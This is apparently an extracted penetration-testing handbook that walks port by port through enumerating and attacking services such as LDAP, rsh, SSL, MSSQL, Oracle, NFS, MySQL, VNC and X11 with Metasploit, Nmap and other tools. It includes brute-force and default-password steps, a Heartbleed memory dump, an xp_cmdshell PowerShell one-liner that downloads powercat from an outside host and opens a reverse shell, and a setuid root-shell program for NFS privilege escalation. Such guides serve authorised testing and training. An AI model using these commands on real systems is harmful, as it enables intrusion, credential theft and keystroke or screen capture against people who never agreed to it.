IP forwarding enabled : no
Default TTL : 64
TCP segments received : 6842
(continues on next page)
Metasploit
Module sends a query to the port 264/TCP on CheckPoint Firewall-1 firewalls to obtain the firewall name and man-
agement station (such as SmartCenter) name via a pre-authentication request
use auxiliary/gather/checkpoint_hostname
set RHOST 10.10.xx.xx
Sample Output
[*] Attempting to contact Checkpoint FW1 SecuRemote Topology service...
[+] Appears to be a CheckPoint Firewall...
[+] Firewall Host: FIREFIGHTER-SEC
[+] SmartCenter Host: FIREFIGHTER-MGMT.example.com
[*] Auxiliary module execution completed
Nmap
LDAP-rootdse
| namingContexts: DC=xxxpcx,DC=com
(continues on next page)
| supportedCapabilities: 1.2.xx.xx.1.4.800
| supportedCapabilities: 1.2.xx.xx.1.4.1670
| supportedCapabilities: 1.2.xx.xx.1.4.1791
| supportedCapabilities: 1.2.xx.xx.1.4.1935
| supportedCapabilities: 1.2.xx.xx.1.4.2080
| supportedCapabilities: 1.2.xx.xx.1.4.2237
| isSynchronized: TRUE
| isGlobalCatalogReady: TRUE
| domainFunctionality: 3
| forestFunctionality: 3
|_ domainControllerFunctionality: 6
ldap-search
ldap.qfilter=users,ldap.attrib=sAMAccountName' <host>
ldap.qfilter=custom,ldap.searchattrib="operatingSystem",ldap.searchvalue="Windows
˓→*Server*",ldap.attrib={operatingSystem,whencreated,OperatingSystemServicePack}'
˓→<host>
ldap-brute
ldap-brute.nse : Attempts to brute-force LDAP authentication. By default it uses the built-in username and password
lists. In order to use your own lists use the userdb and passdb script arguments. This script does not make any attempt
to prevent account lockout! If the number of passwords in the dictionary exceeds the amount of allowed tries, accounts
will be locked out. This usually happens very quickly.
Other
ldapsearch
Anonymous LDAP Binding allows a client to connect and search the directory (bind and search) without logging in.
You do not need to include binddn and bindpasswd.
If the port 389 supports Anonymous Bind, we may try searching for the base by using doing a ldap search query
Sample Output
#
dn:
objectClass: top
objectClass: OpenLDAProotDSE
structuralObjectClass: OpenLDAProotDSE
configContext: cn=config
namingContexts: dc=example,dc=com
supportedControl: 1.3.xx.xx.4.1.4203.1.9.1.1
supportedControl: 2.16.xx.xx.113730.3.4.18
supportedControl: 2.16.xx.xx.113730.3.4.2
supportedControl: 1.3.xx.xx.4.1.4203.1.10.1
supportedControl: 1.2.xx.xx.1.4.319
supportedControl: 1.2.xx.xx.1.334810.2.3
supportedControl: 1.2.xx.xx.1.3344810.2.3
supportedControl: 1.3.xx.xx.1.13.2
supportedControl: 1.3.xx.xx.1.13.1
supportedControl: 1.3.xx.xx.1.12
supportedExtension: 1.3.xx.xx.4.1.4203.1.11.1
supportedExtension: 1.3.xx.xx.4.1.4203.1.11.3
supportedFeatures: 1.3.xx.xx.1.14
supportedFeatures: 1.3.xx.xx.4.1.4203.1.5.1
supportedFeatures: 1.3.xx.xx.4.1.4203.1.5.2
supportedFeatures: 1.3.xx.xx.4.1.4203.1.5.3
supportedFeatures: 1.3.xx.xx.4.1.4203.1.5.4
supportedFeatures: 1.3.xx.xx.4.1.4203.1.5.5
(continues on next page)
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
Once you are aware of the base name in the above example “example.com” we can query for ldap users etc. by
Sample Output
Metasploit
use auxiliary/scanner/smb/smb_version
services -p 445 -R
Sample Output:
Metasploit
auxiliary/scanner/rservices/rexec_login
services -p 512 -u -R
Other
rlogin
rlogin <ipaddress>
Nmap
rexec-brute
rexec-brute.nse : Performs brute force password auditing against the classic UNIX rexec (remote exec) service.
Metasploit
use auxiliary/scanner/rservices/rlogin_login
services -p 513 -u -R
Sample Output:
[+] 10.10.xx.xx:513, rlogin 'root' from 'root' with no password.
[+] 10.10.xx.xx:513, rlogin 'root' from 'root' with no password.
Note: In a recent engagement just doing the “rlogin IP” using the root shell provided me the root shell, where-as few
IP address asked for password. Also, One IP for which rexec_login shows failed, was able to login using rlogin.
Metasploit
use auxiliary/scanner/rservices/rsh_login
services -p 514 -u -R
Sample Output
[+] 10.10.xx.xx:514, rsh 'root' from 'root' with no password.
[*] 10.11.xx.xx:514 RSH - Attempting rsh with username 'root' from 'root'
[+] 10.11.xx.xx:514, rsh 'root' from 'root' with no password.
Other
rsh
AFP is a proprietary network protocol that offers file services for MAC OS X and original MAC OS.
Metasploit
use auxiliary/scanner/afp/afp_server_info
services -p 548 -u -S AFP -R
Sample output:
Nmap
afp-serverinfo
afp-brute
afp-ls
afp-ls.nse : Attempts to get useful information about files from AFP volumes. The output is intended to resemble the
output of ls.
afp-showmount
afp-path-vuln
2.2.22 Microsoft Windows RPC Services | Port 135 and Microsoft RPC Services
over HTTP | Port 593
Depending on the host configuration, the RPC endpoint mapper can be accessed through TCP and UDP port 135, via
SMB with a null or authenticated session (TCP 139 and 445), and as a web service listening on TCP port 593.
Metasploit
Module can be used to obtain information from the Endpoint Mapper service
use auxiliary/scanner/dcerpc/endpoint_mapper
Module will query the endpoint mapper and make a list of all ncacn_tcp RPC services. It will then connect to each
of these services and use the management API to list all other RPC services accessible on this port. Any RPC service
found attached to a TCP port, but not listed in the endpoint mapper, will be displayed and analyzed to see whether
anonymous access is permitted.
use auxiliary/scanner/dcerpc/hidden
Module can be used to obtain information from the Remote Management Interface DCERPC service.
use auxiliary/scanner/dcerpc/management
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
Other
We can use rpcdump from Impacket to dump the RPC information. This tool can communicate over Port 135, 139
and 445. The rpcdump tool from rpctools can also extract information from Port 593.
rpcdump
Sample Output:
rpcdump.py 10.10.xx.xx
Impacket v0.9.14-dev - Copyright 2002-2015 Core Security Technologies
Bindings:
ncacn_np:\\ADS[\PIPE\srvsvc]
ncacn_ip_tcp:10.10.xx.xx[49154]
ncacn_np:\\ADS[\PIPE\atsvc]
ncalrpc:[senssvc]
ncalrpc:[OLEEC91239AB64E4F319A44EB95228B]
ncalrpc:[IUserProfile2]
Protocol: N/A
Provider: schedsvc.dll
UUID : 0A74EF1C-41A4-4E06-83AE-DC74FB1CDD53 v1.0
Bindings:
ncalrpc:[senssvc]
ncalrpc:[OLEEC91239AB64E4F319A44EB95228B]
ncalrpc:[IUserProfile2]
Protocol: N/A
Provider: nsisvc.dll
UUID : 7EA70BCF-48AF-4F6A-8968-6A440754D5FA v1.0 NSI server endpoint
Bindings:
ncalrpc:[LRPC-37912a0de47813b4b3]
ncalrpc:[OLE6ECE1F6A513142EC99562256F849]
Protocol: N/A
Provider: MPSSVC.dll
UUID : 7F9D11BF-7FB9-436B-A812-B2D50C5D4C03 v1.0 Fw APIs
Bindings:
ncalrpc:[LRPC-5409763072e46c4586]
Metasploit
Parses the server SSL certificate to obtain the common name and signature algorithm.
use auxiliary/scanner/http/ssl
services -p 443 -u -R
Sample Output:
[*] 10.10.xx.xx:443 Subject: /OU=Domain Control Validated/CN=www.example.com
[*] 10.10.xx.xx:443 Issuer: /C=US/ST=Arizona/L=Scottsdale/O=GoDaddy.com, Inc./
˓→OU=http://certs.godaddy.com/repository//CN=Go Daddy Secure Certificate Authority -
˓→G2
and
If a web server can successfully establish an SSLv3 session, it is likely to be vulnerable to the POODLE attack.
use auxiliary/scanner/http/ssl_version
Sample Output:
Checks for the OpenSSL ChangeCipherSpec (CCS) Injection vulnerability. The problem exists in the handling of
early CCS messages during session negotiation. There’s a NSE for the same ssl-ccs-injection.nse.
use auxiliary/scanner/ssl/openssl_ccs
Module checks for the OpenSSL Heartbleed attack. The module supports several actions, allowing for scanning,
dumping of memory contents, and private key recovery. It has three Actions: SCAN, KEYS, DUMP which scans the
host for the vulnerability, scan for the private keys and dump the memory of the host.
use auxiliary/scanner/ssl/openssl_heartbleed
hexdump -C /root/.msf5/loot/20160403185025_default_10.10.xx.xx_openssl.heartble_
˓→299937.bin | more
00000000 02 ff ff 94 03 01 57 00 0f a8 cf 31 3f 02 84 0b |......W....1?...|
00000010 59 9a d1 6b 3b 20 7b 7b 75 6b 17 2c 03 8d 8d 6a |Y..k; \{\{uk.,...j|
00000020 77 de b2 3a e3 28 00 00 66 c0 14 c0 0a c0 22 c0 |w..:.(..f.....".|
00000030 21 00 39 00 38 00 88 00 87 00 87 c0 0f 00 35 00 |!.9.8.........5.|
00000040 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 |................|
00000050 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 |............3.2.|
00000060 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 |....E.D...../...|
00000070 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 |A...............|
00000080 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 |................|
00000090 00 00 05 00 0f 00 01 01 06 03 02 03 04 02 02 02 |................|
000000a0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 |................|
000000b0 ff 02 01 00 00 85 00 00 00 12 00 10 00 00 0d 32 |...............1|
000000c0 32 33 2e 33 30 2e 32 33 35 2e 36 36 00 0b 00 04 |10.10.xx.xx....|
(continues on next page)
Nmap
ssl-cert
ssl-cert.nse : Retrieves a server’s SSL certificate. The amount of information printed about the certificate depends on
the verbosity level. With no extra verbosity, the script prints the validity period and the commonName, organization-
Name, stateOrProvinceName, and countryName of the subject.
Sample Output:
nmap -sV -sC -p 443 10.10.xx.xx -n -vv
Nmap scan report for 10.10.xx.xx
Host is up, received reset ttl 60 (0.011s latency).
Scanned at 2016-04-03 18:58:50 IST for 57s
PORT STATE SERVICE REASON VERSION
443/tcp open ssl/http syn-ack ttl 53 Apache httpd
| ssl-cert: Subject: commonName=astarouflex.flexfilm.com/organizationName=Uflex/
˓→countryName=in/localityName=Noida
ssl-dh-params
ssl-dh-params : Weak ephemeral Diffie-Hellman parameter detection for SSL/TLS services. This script simulates
SSL/TLS handshakes using ciphersuites that have ephemeral Diffie-Hellman as the key exchange algorithm.
Diffie-Hellman MODP group parameters are extracted and analyzed for vulnerability to Logjam (CVE 2015-4000)
and other weaknesses.
Sample Output:
ssl-google-cert-catalog
ssl-google-cert-catalog.nse : Queries Google’s Certificate Catalog for the SSL certificates retrieved from target hosts.
The Certificate Catalog provides information about how recently and for how long Google has seen the given certifi-
cate. If a certificate doesn’t appear in the database, despite being correctly signed by a well-known CA and having a
matching domain name, it may be suspicious.
Sample Output:
sslv2
sslv2.nse : Determines whether the server supports obsolete and less secure SSLv2, and discovers which ciphers it
supports.
Sample Output:
nmap -p 443 --script sslv2 115.124.xx.xx -n
ssl-ccs-injection
ssl-ccs-injection.nse : Detects whether a server is vulnerable to the SSL/TLS “CCS Injection” vulnerability (CVE-
2014-0224). There’s a metasploit module for the same: openssl_ccs
ssl-date
ssl-date.nse : Retrieves a target host’s time and date from its TLS ServerHello response.
Sample Output:
nmap -p 443 --script ssl-date 115.124.xx.xx -n
ssl-enum-ciphers
ssl-enum-ciphers.nse : Script repeatedly initiates SSLv3/TLS connections, each time trying a new cipher or compres-
sor while recording whether a host accepts or rejects it. The end result is a list of all the ciphersuites and compressors
that a server accepts.
Each ciphersuite is shown with a letter grade (A through F) indicating the strength of the connection. The grade is
based on the cryptographic strength of the key exchange and of the stream cipher.
Sample Output:
ssl-heartbleed
ssl-heartbleed.nse : Detects whether a server is vulnerable to the OpenSSL Heartbleed bug (CVE-2014-0160).
Sample Output:
nmap -p 443 --script ssl-heartbleed 223.30.xx.xx -n
| State: VULNERABLE
| Risk factor: High
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-
˓→beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading
˓→memory of systems protected by the vulnerable OpenSSL versions and could allow for
|
| References:
| http://cvedetails.com/cve/2014-0160/
| http://www.openssl.org/news/secadv_20140407.txt
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
ssl-poodle
ssl-poodle.nse : Checks whether SSLv3 CBC ciphers are allowed (POODLE). POODLE is CVE-2014-3566
Sample Output:
Nmap
rtsp-methods
rtsp-methods.nse : which determines which methods are supported by the RTSP (real time streaming protocol) server
RTSP-Methods Sample Output:
rtsp-url-brute
rtsp-url-brute.nse which Attempts to enumerate RTSP media URLS by testing for common paths on devices such as
surveillance IP cameras.
RTSP URL Brute Sample Output:
mplayer <url>
for example: mplayer rtsp://10.152.77.206/media/video1
Other
Cameradar
Blogs
PenTest Partners have written a blog on Pwning CCTV cameras where they mention various issues found with a DVR.
Metasploit
An rsync module is essentially a directory share. These modules can optionally be protected by a password. This
module connects to and negotiates with an rsync server, lists the available modules and, optionally, determines if the
module requires a password to access.
use auxiliary/scanner/rsync/modules_list
services -p 873 -u -S rsync -R
Sample Output:
[+] 10.10.xx.xx:873 - 5 rsync modules found: OTG DATA, Server IMP Backup, Rajan Data,
˓→test, testing
Nmap
rsync-list-modules
rsync-list-modules.nse : Lists modules available for rsync (remote file sync) synchronization.
Other
rsync
rsync rsync://share@your-ip-or-hostname/
Sample Output:
rsync rsync://[email protected]
mail
varlib
etc
net
(continues on next page)
After entering your password, rsync should now give a file listing
rsync rsync://pub@your-ip-or-hostname/pub/
rsync rsync://[email protected]/mail
@ERROR: access denied to mail from unknown (XX.4.XX.XX)
rsync error: error starting client-server protocol (code 5) at main.c(1653)
˓→[Receiver=3.1.1]
Run:
(you can abbreviate --partial --progress as -P). Your file should now be downloading.
Run:
Metasploit
use auxiliary/scanner/misc/java_rmi_server
services -u -p 1099 -S Java -R
Failed output:
Successful output:
Module takes advantage of the default configuration of the RMI Registry and RMI Activation services, which allow
loading classes from any remote (HTTP) URL. As it invokes a method in the RMI Distributed Garbage Collector
which is available via every RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
(custom) RMI endpoints as well. Note that it does not work against Java Management Extension (JMX) ports since
those do not support remote class loading, unless another RMI endpoint is active in the same Java process. RMI
method calls do not support or require any sort of authentication
use exploit/multi/misc/java_rmi_server
Sample Output
use exploit/multi/misc/java_rmi_server
msf exploit(java_rmi_server) > set rhost 192.168.xx.xx
rhost => 192.168.xx.xx
msf exploit(java_rmi_server) > run
[-] Exploit failed: RuntimeError Timeout HTTPDELAY expired and the HTTP Server didn't
˓→get a payload request
Here’s a video of Mubix exploiting it from Metasploit Minute Exploitation using java rmi service
Nmap
rmi-vuln-classloader
rmi-vuln-classloader.nse Tests whether Java rmiregistry allows class loading. The default configuration of rmireg-
istry allows loading classes from remote URLs, which can lead to remote code execution. The vendor (Oracle/Sun)
classifies this as a design feature.
Sample Output:
|
| References:
(continues on next page)
Metasploit
MS-SQL is really vast multiple metasploit modules and blogs existing on the internet, Let’s check Metasploit Mod-
ules one by one.
auxiliary/admin/mssql/mssql_enum normal
˓→Microsoft SQL Server Configuration Enumerator
auxiliary/admin/mssql/mssql_enum_domain_accounts normal
˓→Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration
auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli normal
˓→Microsoft SQL Server SQLi SUSER_SNAME Windows Domain Account Enumeration
auxiliary/admin/mssql/mssql_enum_sql_logins normal
˓→Microsoft SQL Server SUSER_SNAME SQL Logins Enumeration
auxiliary/admin/mssql/mssql_escalate_dbowner normal
˓→Microsoft SQL Server Escalate Db_Owner
auxiliary/admin/mssql/mssql_escalate_dbowner_sqli normal
˓→Microsoft SQL Server SQLi Escalate Db_Owner
auxiliary/admin/mssql/mssql_escalate_execute_as normal
˓→Microsoft SQL Server Escalate EXECUTE AS
auxiliary/admin/mssql/mssql_escalate_execute_as_sqli normal
˓→Microsoft SQL Server SQLi Escalate Execute AS
auxiliary/admin/mssql/mssql_exec normal
˓→Microsoft SQL Server xp_cmdshell Command Execution
auxiliary/admin/mssql/mssql_findandsampledata normal
˓→Microsoft SQL Server Find and Sample Data
auxiliary/admin/mssql/mssql_idf normal
˓→Microsoft SQL Server Interesting Data Finder
auxiliary/admin/mssql/mssql_ntlm_stealer normal
˓→Microsoft SQL Server NTLM Stealer
auxiliary/admin/mssql/mssql_ntlm_stealer_sqli normal
˓→Microsoft SQL Server SQLi NTLM Stealer
auxiliary/admin/mssql/mssql_sql normal
˓→Microsoft SQL Server Generic Query
auxiliary/admin/mssql/mssql_sql_file normal
˓→Microsoft SQL Server Generic Query from File
auxiliary/analyze/jtr_mssql_fast normal
˓→John the Ripper MS SQL Password Cracker (Fast Mode)
auxiliary/gather/lansweeper_collector normal
˓→Lansweeper Credential Collector
auxiliary/scanner/mssql/mssql_hashdump normal
˓→MSSQL Password Hashdump
auxiliary/scanner/mssql/mssql_login normal
˓→MSSQL Login Utility
auxiliary/scanner/mssql/mssql_ping normal
˓→MSSQL Ping Utility
auxiliary/scanner/mssql/mssql_schemadump normal
˓→MSSQL Schema Dump
Queries the MSSQL instance for information. This will also provide if any ms-sql is running on different ports.
use auxiliary/scanner/mssql/mssql_ping
services -p 1433 -R
Sample output:
After discovering the ms-sql instances, we can check if their are any default passwords.
Let’s see if we have any default passwords. This module simply queries the MSSQL instance for a specific user/pass
(default is sa with blank) we always find default passwords such as company@123 etc. Once in an engagement, out
of 200 Ms-sql instance we found around 60 default passwords. ;)
use auxiliary/scanner/mssql/mssql_login
set Password company@123
services -p 1433 -R
Sample Output:
use auxiliary/admin/mssql/mssql_enum
set rhost 10.10.xx.xx
set password company@123
Sample Output:
If the xp_cmdshell is disabled and we have sa credentials, we can enable it by executing the below code in dbeaver as
mentioned in xp_cmdshell Server Configuration Option
use auxiliary/admin/mssql/mssql_exec
set RHOst 10.10.xx.xx
set password company@123
set cmd ipconfig
Sample Output:
Windows IP Configuration
At this point, we can probably use msf exploit/windows/mssql/mssql_payload or get a shell back with powercat or
powershell-empire.
EXEC xp_cmdshell 'powershell -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).
˓→DownloadString("http://10.0.0.1:8080/powercat.ps1");powercat -c 10.0.0.1 -p 443 -e
˓→cmd'
use auxiliary/admin/mssql/mssql_enum_domain_accounts
set rhost 10.10.xx.xx
set password company@123
Sample Output:
This script will search through all of the non-default databases on the SQL Server for columns that match the keywords
defined in the TSQL KEYWORDS option. If column names are found that match the defined keywords and data is
present in the associated tables, the script will select a sample of the records from each of the affected tables. The
sample size is determined by the SAMPLE_SIZE option, and results output in a CSV format.
use auxiliary/admin/mssql/mssql_findandsampledata
Module will allow for simple SQL statements to be executed against a MSSQL/MSDE instance given the appropiate
credentials.
use auxiliary/admin/mssql/mssql_sql
Module attempts to extract the schema from a MSSQL Server Instance. It will disregard builtin and example DBs such
as master,model,msdb, and tempdb. The module will create a note for each DB found, and store a YAML formatted
output as loot for easy reading.
use auxiliary/scanner/mssql/mssql_schemadump
Other
tsql
sa
sa
sa
sa
EXAMPLE\administrator
EXAMPLE\administrator
EXAMPLE\kuanxxxx
(7 rows affected)
• master Database : Records all the system-level information for an instance of SQL Server.
• msdb Database : Is used by SQL Server Agent for scheduling alerts and jobs.
• model Database : Is used as the template for all databases created on the instance of SQL Server. Modifications
made to the model database, such as database size, collation, recovery model, and other database options, are
applied to any databases created afterward.
• Resource Database : Is a read-only database that contains system objects that are included with SQL Server.
System objects are physically persisted in the Resource database, but they logically appear in the sys schema of
every database.
• tempdb Database : Is a workspace for holding temporary objects or intermediate result sets.
Scott Sutherland has written four parts of Hacking SQL Servers: (A must-read)
Hacking SQL Server Stored Procedures – Part 1: (un)Trustworthy Databases : how database users commonly created
for web applications can be used to escalate privileges in SQL Server when database ownership is poorly configured.
Corresponding Metasploit module is Microsoft SQL Server Escalate Db_Owner ‘mssql_escalate_dbowner’.
Hacking SQL Server Stored Procedures – Part 2: User Impersonation : provides a lab guide and attack walk-
through that can be used to gain a better understanding of how the IMPERSONATE privilege can lead to privi-
lege escalation in SQL Server. Corresponding Metasploit module is Microsoft SQL Server Escalate EXECUTE AS
‘mssql_escalate_execute_as’.
Hacking SQL Server Stored Procedures – Part 3: SQL Injection : This blog covers how SQL injection can be identified
and exploited to escalate privileges in SQL Server stored procedures when they are configured to execute with higher
privileges using the WITH EXECUTE AS clause or certificate signing.
Hacking SQL Server Procedures – Part 4: Enumerating Domain Accounts : shows enumerate Active Directory domain
users, groups, and computers through native SQL Server functions using logins that only have the Public server role
(everyone). It also shows how to enumerate SQL Server logins using a similar technique. Corresponding module is
Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration
MSSQL-MITM
Rick Osgood has written a blog Hacking Microsoft SQL Server Without a Password on doing a man-in-the-middle-
attack between the SQL-Server and the user where he changed the select statement by using ettercap to add a new user
in the mysql server.
Others
After setting up oracle with metasploit here How to get Oracle Support working with Kali Linux We will directly
follow the procedure presented by Chris Gates BHUSA09-Gates-OracleMetasploit-Slides
Nmap would probably be the best tool to find the oracle instances.
Metasploit has
• Oracle TNS Listener Service Version Query
use auxiliary/scanner/oracle/tnslsnr_version
services -p 1521 -u -R
Sample Output:
Oracle Service Identifier: By querying the TNS Listener directly, brute force for default SID’s or query other compo-
nents that may contain it.
Metasploit has
• Oracle TNS Listener SID Enumeration: This module simply queries the TNS listner for the Oracle SID. With
Oracle 9.2.0.8 and above the listener will be protected and the SID will have to be bruteforced or guessed.
use auxiliary/scanner/oracle/sid_enum
• Oracle TNS Listener SID Bruteforce: This module queries the TNS listner for a valid Oracle database instance
name (also known as a SID). Any response other than a “reject” will be considered a success. If a specific SID
is provided, that SID will be attempted. Otherwise, SIDs read from the named file will be attempted in sequence
instead.
use auxiliary/scanner/oracle/sid_brute
Sample Output:
Nmap has:
• Oracle-sid-brute.nse : Guesses Oracle instance/SID names against the TNS-listener.
A good white paper on guessing the Service Identifier is Different ways to guess Oracle database SID
Guess/Bruteforce USER/PASS
Once we know the service identifier, we need to find out a valid username and password..
Metasploit has
• Oracle RDBMS Login Utility: It actually runs nmap in the background, requires RHOSTS, RPORTS, SID to
test the default usernames and passwords.
use auxiliary/scanner/oracle/oracle_login
Nmap has
• Oracle-brute.nse Performs brute force password auditing against Oracle servers. Running it in default mode it
performs an audit against a list of common Oracle usernames and passwords. The mode can be changed by
supplying the argument oracle-brute.nodefault at which point the script will use the username- and password-
lists supplied with Nmap. The script makes no attempt to discover the amount of guesses that can be made
before locking an account. Running this script may therefor result in a large number of accounts being locked
out on the database server.
• Oracle-enum-users : Attempts to enumerate valid Oracle user names against unpatched Oracle 11g servers (this
bug was fixed in Oracle’s October 2009 Critical Patch Update).
• lt_findricset.rb
• lt_findricset_cursor.rb: Oracle DB SQL Injection via SYS.LT.FINDRICSET Evil Cursor Method: This module
will escalate a Oracle DB user to DBA by exploiting an sql injection bug in the SYS.LT.FINDRICSET package
via Evil Cursor technique. Tested on oracle 10.1.0.3.0 – should work on thru 10.1.0.5.0 and supposedly on 11g.
Fixed with Oracle Critical Patch update October 2007.
use auxiliary/sqli/oracle/lt_findricset_cursor
The above privilege escalation exploits will provide us DBA access, from where we can access the data. We can use
• Metasploit oracle_sql: Oracle SQL Generic Query: This module allows for simple SQL statements to be exe-
cuted against a Oracle instance given the appropriate credentials and sid.
use auxiliary/admin/oracle/oracle_sql
sqlplus username/password@host:port/service
or use tnsnames.ora file to connect to the database. For that edit it and add a new entry: This file normally
resides in the $ORACLE HOMENETWORKADMIN directory.
myDb =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(Host = c)(Port =a))
)
(CONNECT_DATA =
(SERVICE_NAME =b)
)
)
sqlplus x/y@myDb
However, there’s more to Post Exploitation which are OS Shells. There are multiple methods for running
OS commands via oracle libraries.
• Via Java:
There’s a metasploit
• win32exec: Oracle Java execCommand (Win32): This module will create a java class which enables
the execution of OS commands. First, we need to grant the user privileges of JAVASYSPRIVS using
oracle_sql module
use auxiliary/admin/oracle/post_exploitation/win32exec
This can also be done by executing SQL Scripts provided by oracle. For more information
refer Executing operating system commands from PL/ SQL
• Extproc backdoors
• DBMS_Scheduler
Cover Tracks
Metasploit has
• We can use Oracle TNS Listener Checker which module checks the server for vulnerabilities like TNS Poison.
use auxiliary/scanner/oracle/tnspoison_checker
services -p 1521 -u -R
Sample Output:
Some SQL statements which could be executed after SQL Plus connection:
A good blog to secure oracle is Top 10 Oracle Steps to a Secure Oracle Database Server
$ showmount -e someexample.com
Export list for someexample.com:
/backup *
$ mkdir backup
$ mount -o ro,noexec someexample.com:/backup backup
$ ls backup
backup.tar.bz2.zip
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/tmp *(rw,no_root_squash)
/var/nfsshare *(rw,sync,root_squash,no_all_squash)
/opt *(rw,sync,root_squash,no_all_squash)
int main(void) {
setgid(0); setuid(0);
execl(“/bin/sh”,”sh”,0); }
Compile it based on the architecture, give it setuid and executable permissions as root (Remember, we mounted as
root)
Further, if we are unprivileged user on that Linux box, we can just execute this binary to become root.
www-data@xxxxxhostcus:/tmp$ ./pwnme
./pwnme
# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
nfsshell
As your uid and gid must be equivalent to the user, we are emulating to the nfs-share, we can use nfsshell NFS shell
that provides user level access to an NFS server, over UDP or TCP, supports source routing and “secure” (privileged
port) mounts. It’s a useful tool to manually check (or show) security problems after a security scanner has detected
them. Pentest Partners have published a blog on Using nfsshell to compromise older environments
Using nfsshell
• Selecting the target, can either be the hostname (assuming you have name servers available to resolve against),
or the IP address:
• Nfsshell is useful for accessing NFS shares without having to create users with the same UID/GID pair as the
target exported filesystem. The following commands within nfsshell set the UID and GID:
Internet Small Computer Systems Interface, an Internet Protocol (IP)-based storage networking standard for linking
data storage facilities. A good article is SCSI over IP
Nmap
iscsi-info
Other
iscsiadm
Login via
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -l -p
˓→192.168.xx.xx --login -
Failed Result: When we login, ideally we should be able to see the location, however for some strange reason we
didn’t got that here.
[43852.014179] scsi host6: iSCSI Initiator over TCP/IP
[43852.306055] scsi 6:0:0:0: Direct-Access EMC Celerra 0002 PQ: 1
˓→ANSI: 5
We can find more information about it by just using without any –login/–logout parameter
Metasploit
Sample Output:
[*] 10.7.xx.xx:3306 is running MySQL, but responds with an error: \x04Host '10.10.3.71
˓→' is not allowed to connect to this MySQL server
Validate login or bruteforce logins. This module simply queries the MySQL instance for a specific user/pass (default
is root with blank)
use auxiliary/scanner/mysql/mysql_login
services -p 3306 -u -R
set username root
set password example@123
Sample Output:
to extract the usernames and encrypted password hashes from a MySQL server.
use auxiliary/scanner/mysql/mysql_hashdump
creds -p 3306 -t password -u root -R
set username root
set password example@123
Sample Output:
Other
mysql
Once we have the username and password, we can use mysql utility to login in to the server.
Metasploit
use auxiliary/scanner/postgres/postgres_version
Module attempts to authenticate against a PostgreSQL instance using username and password combinations indicated
by the USER_FILE, PASS_FILE, and USERPASS_FILE options.
use auxiliary/scanner/postgres/postgres_login
Identify PostgreSQL 9.0, 9.1, and 9.2 servers that are vulnerable to command-line flag injection through CVE-2013-
1899. This can lead to denial of service, privilege escalation, or even arbitrary code execution
use auxiliary/scanner/postgres/postgres_dbname_flag_injection
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
10.x.x.x 5555 tcp omniback open HP OpenView Omniback/Data Protector
10.x.x.x 5555 tcp omniinet open HP Data Protector 7.00 build 105
10.x.x.x 5555 tcp freeciv open
10.x.x.x 5555 tcp omniinet open HP Data Protector 7.00 build 105
10.x.x.x 5555 tcp omniback open HP Data Protector A.07.00 internal build
˓→105; built on Wednesday, October 16, 2013, 10:55 PM
Metasploit framework comes with an exploit for exploiting this vulnerability. which can be searched by
msf > search integutil
Matching Modules
================
Exploit target:
Id Name
-- ----
0 Automatic
Exploit targets:
Id Name
-- ----
0 Automatic
1 Linux 64 bits / HP Data Protector 9
(continues on next page)
Compatible Payloads
===================
set all the necessary options and run. After this we can use Empire stagerlauncher or web_delivery to a get a meter-
preter shell on our attacking machine.
Before metasploit module was present people from OpenSecurity Research were able to exploit it by sniffing the data
Nessus Plugin sent. More details at Manually Exploiting HP Data Protector
Metasploit
use auxiliary/scanner/vnc/vnc_none_auth
Module will test a VNC server on a range of machines and report successful logins. Currently it supports RFB protocol
version 3.3, 3.7, 3.8 and 4.001 using the VNC challenge response authentication method.
use auxiliary/scanner/vnc/vnc_login
VNC Password
~/.vnc/passwd is the default location where the VNC password is stored. The password is stored at this location when
the vncserver starts for a first time. To update or change your VNC password you should use vncpasswd command.
cat ~/.secret/passvnc
kRSx8
Now, if we have found the password file of the VNC on some CTF challenge or vulnerable machine, we can either
decrypt it (to know the password) using VNC Password Decrypter or use the password file while using vncviewer
-passwd passwd-file File from which to get the password (as generated by the
˓→vncpasswd(1) program). This option affects only the standard VNC authentication.
Other
curl http://IP:5984/
{"couchdb":"Welcome","version":"0.10.1"}
Database List
or
Response might be
["baseball", "plankton"]
Document List
Response
{
"offset": 0,
"rows": [
{
"id": "16e458537602f5ef2a710089dffd9453",
"key": "16e458537602f5ef2a710089dffd9453",
(continues on next page)
We do also find a lot of open X11 servers, we can use x11 to find the keyboard strokes and screenshots.
Metasploit
Module scans for X11 servers that allow anyone to connect without authentication.
auxiliary/scanner/x11/open_x11
services -p 6000 -u -R
Sample output
use exploit/unix/x11/x11_keyboard_exec
Other
xspy
˓→TabmtminusdBackSpacewinTab
xdpyinfo
We can also use x11 to grab screenshots or live videos of the user. We need to verify the connection is open and we
can get to it:
xdpyinfo -display <ip>:<display>
Sample Output:
xdpyinfo -display 10.20.xx.xx:0
name of display: 10.20.xx.xx:0
version number: 11.0
vendor string: Xfree86-Heidenhain-Project
vendor release number: 0
maximum request size: 262140 bytes
motion buffer size: 0
bitmap unit, bit order, padding: 32, LSBFirst, 32
